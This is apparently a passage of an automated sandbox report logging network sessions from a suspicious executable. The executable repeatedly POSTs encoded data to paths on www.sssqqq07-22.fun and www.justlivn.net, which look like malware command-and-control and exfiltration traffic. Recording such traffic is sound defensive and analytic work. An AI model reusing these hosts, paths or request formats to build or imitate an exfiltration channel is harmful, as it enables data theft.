Sep 12, 2024 15:07:40.502705097 CEST	448	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 3c 68 31 3e e6 a8 a1 e5 9d 97 e4 b8 8d e5 ad 98 e5 9c a8 3a 32 35 6b 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 0a Data Ascii: <div><h1>:25kr</h1></div> </div> </div> <div class="source-code"> <pre class="prettyprint lang-php"><ol start="53"><li class="line-53"><code> $available =
Sep 12, 2024 15:07:40.502718925 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 24 6d 6f 64 75 6c 65 20 26 61 6d 70 3b 26 61 6d 70 3b 20 24 61 76 61 69 6c 61 62 6c 65 29 20 7b 0a 3c 2f 63 6f 64 65 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 6c 69 6e 65 2d 35 38 22 3e 3c Data Ascii: if ($module && $available) {</code></li><li class="line-58"><code> // </code></li><li class="line-59"><code> $this->request->setModule($module);</code></li><li class="li
Sep 12, 2024 15:07:40.502733946 CEST	224	IN	Data Raw: 65 3e 3c 2f 6c 69 3e 3c 2f 6f 6c 3e 3c 2f 70 72 65 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 09 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 72 61 63 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 43 61 6c Data Ascii: e></li></ol></pre> </div> <div class="trace"> <h2>Call Stack</h2> <ol> <li>in <a class="toggle" title="/www/wwwroot/jianche.zhongzhuankk144.sbs/thinkphp/library/think/
Sep 12, 2024 15:07:40.502748966 CEST	1236	IN	Data Raw: 72 6f 75 74 65 2f 64 69 73 70 61 74 63 68 2f 4d 6f 64 75 6c 65 2e 70 68 70 20 6c 69 6e 65 20 36 32 22 3e 4d 6f 64 75 6c 65 2e 70 68 70 20 6c 69 6e 65 20 36 32 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: route/dispatch/Module.php line 62">Module.php line 62</a></li> <li> at <abbr title="think\route\dispatch\Module">Module</abbr>->init() in <a class="toggle" title="/www/wwwroot/jianche.zhongzhuank
Sep 12, 2024 15:07:40.507617950 CEST	1236	IN	Data Raw: 34 41 55 6f 41 42 38 42 44 4d 46 4c 39 36 52 36 65 32 61 33 77 79 77 78 59 53 4a 63 71 59 6d 38 5a 6f 4b 59 79 78 76 68 45 48 79 61 67 38 31 34 76 37 37 49 35 6b 53 65 46 6c 6b 52 70 39 6c 64 6c 4f 6b 6d 4e 62 52 78 33 62 38 41 46 32 6f 52 53 68 Data Ascii: 4AUoAB8BDMFL96R6e2a3wywxYSJcqYm8ZoKYyxvhEHyag814v77I5kSeFlkRp9ldlOkmNbRx3b8AF2oRSh5frHPX5DuU6sJMI= </td> </tr> <tr> <td>IhkTb</td> <td>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49775	45.113.201.77	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:46.266565084 CEST	701	OUT	POST /78aq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.sssqqq07-22.fun Origin: http://www.sssqqq07-22.fun Referer: http://www.sssqqq07-22.fun/78aq/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 39 6c 63 2b 73 6b 6a 45 57 71 72 4e 75 4e 35 4f 42 49 4b 30 53 2f 78 45 65 4e 6c 34 67 34 70 57 68 71 47 43 66 65 38 35 35 2b 38 50 4e 30 71 36 30 33 48 58 6e 43 6c 54 59 6c 73 43 4d 57 34 44 6e 56 4f 73 62 6c 32 68 4d 57 45 74 52 43 41 59 7a 6c 31 72 77 2b 52 43 37 42 53 6c 48 45 7a 72 51 66 7a 49 56 74 6f 46 69 56 57 33 57 54 45 79 36 61 46 36 36 4b 61 70 38 71 57 5a 51 4f 68 66 4b 65 59 6c 73 48 76 34 34 70 68 63 57 4b 69 2f 51 73 39 52 57 7a 67 43 7a 46 30 64 76 78 31 6d 67 70 54 64 55 67 34 70 32 49 36 79 7a 67 42 32 33 7a 45 4f 6c 57 4b 41 4b 6b 4f 5a 2f 4b 30 79 74 51 3d 3d Data Ascii: 3tV=9lc+skjEWqrNuN5OBIK0S/xEeNl4g4pWhqGCfe855+8PN0q603HXnClTYlsCMW4DnVOsbl2hMWEtRCAYzl1rw+RC7BSlHEzrQfzIVtoFiVW3WTEy6aF66Kap8qWZQOhfKeYlsHv44phcWKi/Qs9RWzgCzF0dvx1mgpTdUg4p2I6yzgB23zEOlWKAKkOZ/K0ytQ==
Sep 12, 2024 15:07:47.151875019 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 12 Sep 2024 13:07:54 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49776	45.113.201.77	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:48.807373047 CEST	721	OUT	POST /78aq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.sssqqq07-22.fun Origin: http://www.sssqqq07-22.fun Referer: http://www.sssqqq07-22.fun/78aq/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 39 6c 63 2b 73 6b 6a 45 57 71 72 4e 2f 65 68 4f 4e 4f 43 30 54 66 78 48 56 74 6c 34 76 59 70 53 68 71 4b 43 66 66 70 38 35 4c 73 50 4d 52 57 36 31 7a 72 58 69 43 6c 54 41 31 74 47 54 47 34 49 6e 56 53 6b 62 68 32 68 4d 57 51 74 52 44 77 59 30 57 64 6f 7a 4f 52 45 75 52 53 6e 49 6b 7a 72 51 66 7a 49 56 74 73 76 69 56 75 33 56 6a 30 79 35 37 46 35 35 4b 61 71 37 71 57 5a 55 4f 67 55 4b 65 5a 77 73 47 79 74 34 71 5a 63 57 4c 53 2f 54 35 42 4f 42 6a 67 49 35 6c 31 4f 68 41 63 66 75 4a 6d 30 63 79 38 4b 77 5a 65 6c 32 6d 51 73 6d 43 6c 5a 33 57 75 7a 58 6a 48 74 79 4a 4a 37 32 54 4b 31 53 38 74 38 71 5a 6d 6a 6f 4c 4c 53 73 57 56 67 6a 6e 55 3d Data Ascii: 3tV=9lc+skjEWqrN/ehONOC0TfxHVtl4vYpShqKCffp85LsPMRW61zrXiClTA1tGTG4InVSkbh2hMWQtRDwY0WdozOREuRSnIkzrQfzIVtsviVu3Vj0y57F55Kaq7qWZUOgUKeZwsGyt4qZcWLS/T5BOBjgI5l1OhAcfuJm0cy8KwZel2mQsmClZ3WuzXjHtyJJ72TK1S8t8qZmjoLLSsWVgjnU=
Sep 12, 2024 15:07:49.683084011 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 12 Sep 2024 13:07:57 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49777	45.113.201.77	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:51.355828047 CEST	10803	OUT	POST /78aq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.sssqqq07-22.fun Origin: http://www.sssqqq07-22.fun Referer: http://www.sssqqq07-22.fun/78aq/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 39 6c 63 2b 73 6b 6a 45 57 71 72 4e 2f 65 68 4f 4e 4f 43 30 54 66 78 48 56 74 6c 34 76 59 70 53 68 71 4b 43 66 66 70 38 35 4c 6b 50 4e 6b 61 36 7a 53 72 58 6c 43 6c 54 65 6c 74 4c 54 47 34 56 6e 56 61 67 62 68 37 55 4d 56 6f 74 41 52 49 59 78 6e 64 6f 6b 65 52 45 73 52 53 36 48 45 79 70 51 66 6a 4d 56 73 63 76 69 56 75 33 56 68 63 79 76 61 46 35 2f 4b 61 70 38 71 57 46 51 4f 67 38 4b 65 52 67 73 48 47 39 34 36 35 63 57 72 43 2f 56 4c 70 4f 65 54 67 4f 36 6c 30 4a 68 41 41 2b 75 4a 36 65 63 7a 59 77 77 61 43 6c 36 54 6c 32 37 52 64 32 6a 67 6d 77 43 53 36 4b 73 2b 39 36 79 6b 2f 4c 55 4f 39 4f 6f 4e 6d 70 6b 37 47 4f 2f 56 56 6c 38 44 56 38 68 32 43 35 64 4b 53 66 49 76 74 73 42 50 41 59 30 76 35 78 6b 32 67 64 61 70 69 56 52 59 6d 48 65 79 6f 75 72 34 34 48 44 2b 5a 6c 65 56 4b 66 6f 6c 42 45 73 2f 77 6a 74 65 63 53 51 43 70 6c 75 42 58 6e 52 75 72 43 72 4d 6a 4c 6f 32 2f 39 67 31 58 46 38 74 48 44 51 5a 42 39 31 5a 70 64 48 52 71 62 47 51 6b 64 69 48 56 4a 37 58 70 62 4f 56 32 32 2b 6f [TRUNCATED] Data Ascii: 3tV=9lc+skjEWqrN/ehONOC0TfxHVtl4vYpShqKCffp85LkPNka6zSrXlClTeltLTG4VnVagbh7UMVotARIYxndokeREsRS6HEypQfjMVscviVu3VhcyvaF5/Kap8qWFQOg8KeRgsHG9465cWrC/VLpOeTgO6l0JhAA+uJ6eczYwwaCl6Tl27Rd2jgmwCS6Ks+96yk/LUO9OoNmpk7GO/VVl8DV8h2C5dKSfIvtsBPAY0v5xk2gdapiVRYmHeyour44HD+ZleVKfolBEs/wjtecSQCpluBXnRurCrMjLo2/9g1XF8tHDQZB91ZpdHRqbGQkdiHVJ7XpbOV22+orGCZfTrtMOL0x7BGNHxPBnDIXu6NDDEc6dN8ge1KPh8KXjSXS5nVgfVwOpPTCKYH2zg38iIE/otkw9aTWZWiCntsOB9LKE9XVjLUe9g90KeCnWgINalXNJisg0XzprApEHxwLf5lvyor8BwG8er9NtM6yLD6I3UeNfFpIByO8qqyyLA3AHi1a6JfM6GVol7ftA8B13okgL3q7BSEwadnNkN8vVk53KXlt878opKPtgR09pAZPiUUn1J7r6zEHkwNPJPxtvehJFyt/5xAN0XJNp9GcYzqO3eAgbmNYy68WCm5icTWKcKOkdYGq2uAP+yDny+ykg0werRJ1aaVQeDm2uqEDMCBrG6RTEe086kZY09Ke86ZQ253MbqDeFyIH1HLT6psKPgx9iRgLpR/Dsb2MYLNWKUieSGlb/ql8CtZje5r1R2g072Iq58MFD4rKfY1ugzAP4yLj81A8Eg/GtiYAQc05fGTdXnX4VUD2OoBn3fgbxbO4XdPfZRO9nAkXjELKXAu3IYlIBs39+2evai2ReauZ+jG4xvTUYli2XQfWLFvonzMaiH3yxxdkhTZaftAKYXPt1UzaWViBUJoCz8ZtXBtdFM3IWBxGxAUChCPu7GSu5a1fVsfojjkrtFCMINiAlD147AXU9gBHoj4S2S09bjxvXQU1Zh2+u [TRUNCATED]
Sep 12, 2024 15:07:52.206064939 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 12 Sep 2024 13:07:59 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49778	45.113.201.77	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:07:54.644417048 CEST	434	OUT	GET /78aq/?IhkTb=xPfHG0o8kZI8&3tV=wn0evRzkTpjhxs8ZI7f7bdp7QNRPmMli5Za2X/d72voTd3Hgl3DgiTlHV2cFEBs8tUuCcCOjEkMrQzdfzw17g/NW6ia3GXbmRujRfaIyiSnkayos5qIY2c4= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close Host: www.sssqqq07-22.fun User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko
Sep 12, 2024 15:07:55.525688887 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 12 Sep 2024 13:08:03 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49779	76.223.113.161	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:08:00.604260921 CEST	692	OUT	POST /n3rq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.justlivn.net Origin: http://www.justlivn.net Referer: http://www.justlivn.net/n3rq/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 4e 71 4d 38 57 4b 73 4a 43 32 69 61 46 77 4b 65 43 4f 44 4f 70 53 68 59 76 66 53 55 69 37 52 4b 42 55 6c 5a 56 33 56 66 4d 31 71 48 69 2b 55 57 31 70 79 78 72 61 2b 50 38 73 7a 51 6a 51 44 76 51 65 4a 46 61 2f 4c 6b 45 75 57 76 44 69 2b 6d 52 6b 65 66 59 73 4d 68 78 37 30 55 5a 37 5a 45 44 5a 53 6b 76 41 74 56 4c 75 6d 62 45 66 36 78 61 77 5a 44 50 61 65 53 50 6b 75 42 68 57 62 67 33 6a 62 30 75 32 6d 48 6b 59 2b 6f 63 75 4d 4d 77 59 6e 69 79 74 59 75 32 72 64 64 73 42 5a 65 47 37 2f 4e 65 6d 61 47 35 33 52 76 70 69 44 44 6f 65 50 2b 55 38 66 76 44 58 5a 67 34 65 39 44 44 41 3d 3d Data Ascii: 3tV=NqM8WKsJC2iaFwKeCODOpShYvfSUi7RKBUlZV3VfM1qHi+UW1pyxra+P8szQjQDvQeJFa/LkEuWvDi+mRkefYsMhx70UZ7ZEDZSkvAtVLumbEf6xawZDPaeSPkuBhWbg3jb0u2mHkY+ocuMMwYniytYu2rddsBZeG7/NemaG53RvpiDDoeP+U8fvDXZg4e9DDA==
Sep 12, 2024 15:08:01.062894106 CEST	208	IN	HTTP/1.1 200 OK Server: nginx/1.27.0 Date: Thu, 12 Sep 2024 13:08:01 GMT Content-Type: application/octet-stream Content-Length: 25 Connection: close Content-Type: text/plain Data Raw: 42 72 61 6e 64 20 50 61 67 65 20 43 75 73 74 6f 6d 20 44 6f 6d 61 69 6e 73 Data Ascii: Brand Page Custom Domains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49780	76.223.113.161	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:08:03.156893015 CEST	712	OUT	POST /n3rq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.justlivn.net Origin: http://www.justlivn.net Referer: http://www.justlivn.net/n3rq/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 4e 71 4d 38 57 4b 73 4a 43 32 69 61 45 51 36 65 41 74 72 4f 73 79 68 66 6a 2f 53 55 74 62 52 4f 42 55 35 5a 56 7a 45 61 4d 44 53 48 73 2f 6b 57 30 6f 79 78 6d 36 2b 50 79 4d 7a 56 2b 41 44 61 51 65 55 79 61 2b 62 6b 45 75 43 76 44 6a 4f 6d 52 54 79 63 5a 38 4d 6a 37 72 30 61 47 72 5a 45 44 5a 53 6b 76 41 35 76 4c 76 4f 62 48 76 4b 78 62 52 5a 41 43 36 65 4e 48 45 75 42 73 32 61 49 33 6a 62 61 75 33 37 50 6b 62 47 6f 63 72 77 4d 78 4a 6e 68 6c 64 59 6f 6f 72 63 75 39 42 77 35 4b 37 75 57 55 57 47 53 77 33 6b 4f 6c 45 53 5a 35 76 75 70 47 38 37 63 65 51 51 55 31 64 41 4b 59 4d 74 61 79 55 59 59 4f 32 5a 54 30 2b 6f 64 2b 6e 68 32 36 2f 73 3d Data Ascii: 3tV=NqM8WKsJC2iaEQ6eAtrOsyhfj/SUtbROBU5ZVzEaMDSHs/kW0oyxm6+PyMzV+ADaQeUya+bkEuCvDjOmRTycZ8Mj7r0aGrZEDZSkvA5vLvObHvKxbRZAC6eNHEuBs2aI3jbau37PkbGocrwMxJnhldYoorcu9Bw5K7uWUWGSw3kOlESZ5vupG87ceQQU1dAKYMtayUYYO2ZT0+od+nh26/s=
Sep 12, 2024 15:08:03.599111080 CEST	208	IN	HTTP/1.1 200 OK Server: nginx/1.27.0 Date: Thu, 12 Sep 2024 13:08:03 GMT Content-Type: application/octet-stream Content-Length: 25 Connection: close Content-Type: text/plain Data Raw: 42 72 61 6e 64 20 50 61 67 65 20 43 75 73 74 6f 6d 20 44 6f 6d 61 69 6e 73 Data Ascii: Brand Page Custom Domains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49781	76.223.113.161	80	5084	C:\Program Files (x86)\sdecqEMxTDtEFALjHIqaewCANHWGRfolJPZgFbObylprhnoDfadzMCbpiOJuDvbSkRYTs\uFLByAWAOFbhtV.exe

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 15:08:05.744869947 CEST	10794	OUT	POST /n3rq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Cache-Control: no-cache Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.justlivn.net Origin: http://www.justlivn.net Referer: http://www.justlivn.net/n3rq/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; Touch; rv:11.0) like Gecko Data Raw: 33 74 56 3d 4e 71 4d 38 57 4b 73 4a 43 32 69 61 45 51 36 65 41 74 72 4f 73 79 68 66 6a 2f 53 55 74 62 52 4f 42 55 35 5a 56 7a 45 61 4d 41 79 48 73 4d 38 57 31 4c 71 78 70 61 2b 50 73 63 7a 55 2b 41 44 48 51 65 4d 32 61 2b 58 30 45 74 36 76 46 78 71 6d 47 33 6d 63 41 4d 4d 6a 31 37 30 62 5a 37 5a 52 44 5a 43 67 76 41 70 76 4c 76 4f 62 48 74 53 78 63 41 5a 41 52 4b 65 53 50 6b 76 41 68 57 62 6c 33 6c 7a 73 75 30 57 74 6e 71 6d 6f 63 50 73 4d 79 36 50 68 35 4e 59 71 38 4c 63 32 39 42 73 6d 4b 36 43 61 55 56 61 34 77 30 34 4f 6d 79 72 6f 74 74 2b 49 58 36 58 50 4f 69 4a 79 7a 74 34 49 63 73 49 75 30 31 45 42 54 58 52 37 77 75 46 74 71 54 63 39 6c 62 71 4d 2f 62 32 47 48 70 42 67 4d 63 37 31 74 6f 68 72 66 2b 4d 55 43 7a 6c 38 71 4b 78 62 36 4e 70 4c 67 53 44 6f 77 32 62 64 73 63 67 30 4b 6f 55 7a 36 63 48 38 48 6c 63 72 2b 41 37 50 7a 38 6d 50 34 41 48 73 4a 47 33 46 75 43 2b 76 64 36 79 45 51 6b 64 48 65 6b 35 78 6d 71 32 64 4e 2b 73 45 33 56 32 38 2f 69 48 72 55 36 2f 50 77 68 70 49 4f 52 54 36 6a 32 [TRUNCATED] Data Ascii: 